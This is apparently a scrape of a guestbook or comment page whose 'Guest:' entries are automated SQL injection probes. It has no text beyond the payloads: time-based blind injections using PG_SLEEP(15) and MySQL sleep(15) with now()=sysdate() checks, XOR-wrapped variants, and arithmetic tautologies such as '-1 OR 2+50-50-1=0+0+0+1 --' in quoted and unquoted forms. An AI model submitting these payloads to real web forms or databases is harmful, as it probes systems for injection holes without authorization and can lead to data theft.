Guest:
1sZXDNrHw' OR 174=(SELECT 174 FROM PG_SLEEP(15))--


Guest:
1sZXDNrHw' OR 174=(SELECT 174 FROM PG_SLEEP(15))--


-1 OR 2+50-50-1=0+0+0+1 --

-1 OR 2+637-637-1=0+0+0+1

-1' OR 2+841-841-1=0+0+0+1 --

-1' OR 2+252-252-1=0+0+0+1 or 'thScnJ5x'='

-1" OR 2+489-489-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
1sZXDNrHw' OR 174=(SELECT 174 FROM PG_SLEEP(15))--
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
1sZXDNrHw' OR 174=(SELECT 174 FROM PG_SLEEP(15))--
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z